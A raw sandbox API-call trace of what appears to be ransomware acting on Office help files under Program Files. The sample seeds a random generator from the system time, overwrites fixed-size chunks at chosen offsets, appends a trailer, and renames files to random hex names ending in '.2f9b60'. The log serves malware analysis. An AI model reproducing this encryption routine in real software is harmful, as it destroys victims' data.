RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a8f0 [0146.690] wcscat (in: _Dest=0x1b86a8f0, _Source="49a1a65cc55e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\49a1a65cc55e") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\49a1a65cc55e" [0146.690] wcscat (in: _Dest=0x1b86a8f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\49a1a65cc55e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\49a1a65cc55e.2f9b60" [0146.690] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\49a1a65cc55e.2f9b60", NtPathName=0x3f7bfa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\49a1a65cc55e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0146.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce11550 [0146.691] NtSetInformationFile (FileHandle=0x1f64, IoStatusBlock=0x3f7bfab0, FileInformation=0x1ce11550, Length=0xa6, FileInformationClass=0xa) Thread: id = 2253 os_tid = 0xd64 [0143.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs")) returned 0x20 [0145.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS", dwFileAttributes=0x20) returned 1 [0146.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath.hxs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f70 [0146.522] GetFileSizeEx (in: hFile=0x1f70, lpFileSize=0x3e62f9a0 | out: lpFileSize=0x3e62f9a0*=1527046) returned 1 [0146.522] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0x174d02, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.522] ReadFile (in: hFile=0x1f70, lpBuffer=0x3e62f920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e62f968, lpOverlapped=0x0 | out: lpBuffer=0x3e62f920*, lpNumberOfBytesRead=0x3e62f968*=0x4, lpOverlapped=0x0) returned 1 [0146.575] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0146.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7500 [0146.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d80 [0146.575] NtQuerySystemTime (in: CurrentTime=0x3e62f860 | out: CurrentTime=0x3e62f860*=132462177518110000) returned 0x0 [0146.575] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x31b9d860 [0146.575] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x7dfd1584 [0146.575] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x385e1ce8 [0146.575] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x71b27697 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x44a2bfe8 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x19d345e2 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x9cda8dd [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x7f8bdc34 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x14101fff [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x620bc5b4 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x67abfc97 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x72a1314 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x7ec6071 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x14e8123b [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x78cae9ee [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x180f35d4 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x2e8d21eb [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x1f0b00f0 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x147436e2 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x6cd91e2d [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x402cf439 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x4ba2d36f [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0xb09b26a [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x225edbcb [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x716137d0 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x5648680f [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x40668136 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x2e8bb5a [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x6ee8aea9 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x4cfedf38 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x35e83d17 [0146.576] RtlRandomEx (in: Seed=0x3e62f850 | out: Seed=0x3e62f850) returned 0x762a1db3 [0146.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0146.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ea0 [0146.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d80) returned 1 [0146.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0146.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421bf200 [0146.586] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.586] ReadFile (in: hFile=0x1f70, lpBuffer=0x421bf200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e62f8c0, lpOverlapped=0x0 | out: lpBuffer=0x421bf200*, lpNumberOfBytesRead=0x3e62f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0146.636] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0146.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6cf0 [0146.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6cf0) returned 1 [0146.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4218e530 [0146.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6cf0 [0146.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8280 [0146.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8280) returned 1 [0146.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0146.637] WriteFile (hFile=0x1f70, lpBuffer=0x4218e530, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e62f8c0, lpOverlapped=0x0) [0179.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4218e530) returned 1 [0179.974] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0xbb800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.974] ReadFile (in: hFile=0x1f70, lpBuffer=0x421bf200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e62f8c0, lpOverlapped=0x0 | out: lpBuffer=0x421bf200*, lpNumberOfBytesRead=0x3e62f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.795] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0xbb800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.795] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0182.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0182.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30500 [0182.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30500) returned 1 [0182.796] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42807240 [0182.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30500 [0182.797] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30530 [0182.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30530) returned 1 [0182.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0182.798] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0182.798] WriteFile (in: hFile=0x1f70, lpBuffer=0x42807240*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e62f8c0, lpOverlapped=0x0 | out: lpBuffer=0x42807240*, lpNumberOfBytesWritten=0x3e62f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.766] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42807240) returned 1 [0198.766] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0x171106, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.766] ReadFile (in: hFile=0x1f70, lpBuffer=0x421bf200, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e62f8c0, lpOverlapped=0x0 | out: lpBuffer=0x421bf200*, lpNumberOfBytesRead=0x3e62f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0199.126] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0x171106, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0199.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0199.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c340 [0199.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c340) returned 1 [0199.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423d3da0 [0199.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c340 [0199.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c370 [0199.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c370) returned 1 [0199.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0199.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0199.129] WriteFile (in: hFile=0x1f70, lpBuffer=0x423d3da0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e62f8c0, lpOverlapped=0x0 | out: lpBuffer=0x423d3da0*, lpNumberOfBytesWritten=0x3e62f8c0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423d3da0) returned 1 [0214.721] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x203fadd0 [0214.722] SetFilePointerEx (in: hFile=0x1f70, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.722] WriteFile (in: hFile=0x1f70, lpBuffer=0x431f49e0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3e62f970, lpOverlapped=0x0 | out: lpBuffer=0x431f49e0*, lpNumberOfBytesWritten=0x3e62f970*=0x14a, lpOverlapped=0x0) returned 1 [0218.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0218.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e0f0 [0218.756] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a00 [0218.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261a00) returned 1 [0218.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0218.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261a00 [0218.757] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202637a0 [0218.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202637a0) returned 1 [0218.758] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0218.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0218.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad4a0 [0218.759] sprintf (in: _Dest=0x431ad4a0, _Format="%c%c" | out: _Dest="c7") returned 2 [0218.759] sprintf (in: _Dest=0x431ad4a2, _Format="%c%c" | out: _Dest="52") returned 2 [0218.759] sprintf (in: _Dest=0x431ad4a4, _Format="%c%c" | out: _Dest="b5") returned 2 [0218.759] sprintf (in: _Dest=0x431ad4a6, _Format="%c%c" | out: _Dest="4d") returned 2 [0218.759] sprintf (in: _Dest=0x431ad4a8, _Format="%c%c" | out: _Dest="11") returned 2 [0218.759] sprintf (in: _Dest=0x431ad4aa, _Format="%c%c" | out: _Dest="c3") returned 2 [0218.759] sprintf (in: _Dest=0x431ad4ac, _Format="%c%c" | out: _Dest="97") returned 2 [0218.759] sprintf (in: _Dest=0x431ad4ae, _Format="%c%c" | out: _Dest="33") returned 2 [0218.759] sprintf (in: _Dest=0x431ad4b0, _Format="%c%c" | out: _Dest="8e") returned 2 [0218.759] sprintf (in: _Dest=0x431ad4b2, _Format="%c%c" | out: _Dest="e3") returned 2 [0218.759] sprintf (in: _Dest=0x431ad4b4, _Format="%c%c" | out: _Dest="e1") returned 2 [0218.759] sprintf (in: _Dest=0x431ad4b6, _Format="%c%c" | out: _Dest="0e") returned 2 [0218.759] sprintf (in: _Dest=0x431ad4b8, _Format="%c%c" | out: _Dest="43") returned 2 [0218.760] sprintf (in: _Dest=0x431ad4ba, _Format="%c%c" | out: _Dest="40") returned 2 [0218.760] sprintf (in: _Dest=0x431ad4bc, _Format="%c%c" | out: _Dest="6a") returned 2 [0218.760] sprintf (in: _Dest=0x431ad4be, _Format="%c%c" | out: _Dest="d6") returned 2 [0218.760] sprintf (in: _Dest=0x431ad4c0, _Format="%c%c" | out: _Dest="4f") returned 2 [0218.760] sprintf (in: _Dest=0x431ad4c2, _Format="%c%c" | out: _Dest="21") returned 2 [0218.760] sprintf (in: _Dest=0x431ad4c4, _Format="%c%c" | out: _Dest="df") returned 2 [0218.760] sprintf (in: _Dest=0x431ad4c6, _Format="%c%c" | out: _Dest="a4") returned 2 [0218.760] sprintf (in: _Dest=0x431ad4c8, _Format="%c%c" | out: _Dest="98") returned 2 [0218.760] sprintf (in: _Dest=0x431ad4ca, _Format="%c%c" | out: _Dest="15") returned 2 [0218.760] sprintf (in: _Dest=0x431ad4cc, _Format="%c%c" | out: _Dest="87") returned 2 [0218.760] sprintf (in: _Dest=0x431ad4ce, _Format="%c%c" | out: _Dest="da") returned 2 [0218.760] RtlInitAnsiString (in: DestinationString=0x3e62f9e8, SourceString="c752b54d11c397338ee3e10e43406ad64f21dfa4981587da" | out: DestinationString="c752b54d11c397338ee3e10e43406ad64f21dfa4981587da") [0218.760] RtlAnsiStringToUnicodeString (in: DestinationString=0x3e62f9b8, SourceString="c752b54d11c397338ee3e10e43406ad64f21dfa4981587da", AllocateDestinationString=1 | out: DestinationString="c752b54d11c397338ee3e10e43406ad64f21dfa4981587da") returned 0x0 [0218.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4319f210 [0218.761] wcscat (in: _Dest=0x431d9770, _Source="c752b54d11c3" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c752b54d11c3") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c752b54d11c3" [0218.761] wcscat (in: _Dest=0x431d9770, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c752b54d11c3.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c752b54d11c3.2f9b60" [0218.761] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\c752b54d11c3.2f9b60", NtPathName=0x3e62f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\c752b54d11c3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x43109dd0 Thread: id = 2254 os_tid = 0xd98 [0143.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs")) returned 0x20 [0145.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS", dwFileAttributes=0x20) returned 1 [0146.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ed8 [0146.517] GetFileSizeEx (in: hFile=0x1ed8, lpFileSize=0x3f8df6a0 | out: lpFileSize=0x3f8df6a0*=432098) returned 1 [0146.517] SetFilePointerEx (in: hFile=0x1ed8, liDistanceToMove=0x697de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.517] ReadFile (in: hFile=0x1ed8, lpBuffer=0x3f8df620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3f8df668, lpOverlapped=0x0 | out: lpBuffer=0x3f8df620*, lpNumberOfBytesRead=0x3f8df668*=0x4, lpOverlapped=0x0) returned 1 [0146.550] SetFilePointerEx (in: hFile=0x1ed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0146.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80a0 [0146.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ba0 [0146.551] NtQuerySystemTime (in: CurrentTime=0x3f8df560 | out: CurrentTime=0x3f8df560*=132462177517954000) returned 0x0 [0146.551] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x3a9a6307 [0146.551] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x7b8179e8 [0146.551] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x2bf945e0 [0146.551] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x14c9e862 [0146.551] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x15548b79 [0146.551] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x6c453119 [0146.551] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x1b606985 [0146.551] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0xd4d9bb3 [0146.551] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x58613caf [0146.551] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x2235d9b3 [0146.551] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x35941a7 [0146.551] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x5ce79b9c [0146.551] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x4e999ab8 [0146.551] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x7bd4858b [0146.551] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x171a05c9 [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x528f0d88 [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x72bf6948 [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x7d51ae23 [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x629d2d6e [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x5b546ffc [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x1a256db5 [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x28394337 [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x6769335f [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x2ad0cba5 [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x687915fd [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0xc4c0c1a [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x64a4c0e8 [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x155bc916 [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x833b11f [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x641ce80a [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x70a6cb41 [0146.552] RtlRandomEx (in: Seed=0x3f8df550 | out: Seed=0x3f8df550) returned 0x2514f8a [0146.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0146.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0146.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ba0) returned 1 [0146.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0146.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42231180 [0146.563] SetFilePointerEx (in: hFile=0x1ed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.563] ReadFile (in: hFile=0x1ed8, lpBuffer=0x42231180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3f8df5c0, lpOverlapped=0x0 | out: lpBuffer=0x42231180*, lpNumberOfBytesRead=0x3f8df5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0146.630] SetFilePointerEx (in: hFile=0x1ed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0146.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6e70 [0146.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6e70) returned 1 [0146.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421b01c0 [0146.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6e70 [0146.631] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ae0 [0146.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ae0) returned 1 [0146.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.632] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0146.632] WriteFile (hFile=0x1ed8, lpBuffer=0x421b01c0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3f8df5c0, lpOverlapped=0x0) [0178.610] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421b01c0) returned 1 [0178.610] SetFilePointerEx (in: hFile=0x1ed8, liDistanceToMove=0x38400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.610] ReadFile (in: hFile=0x1ed8, lpBuffer=0x42231180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3f8df5c0, lpOverlapped=0x0 | out: lpBuffer=0x42231180*, lpNumberOfBytesRead=0x3f8df5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0180.505] SetFilePointerEx (in: hFile=0x1ed8, liDistanceToMove=0x38400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c290 [0180.506] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0180.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd93e0 [0180.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd93e0) returned 1 [0180.508] RtlAllocateHeap 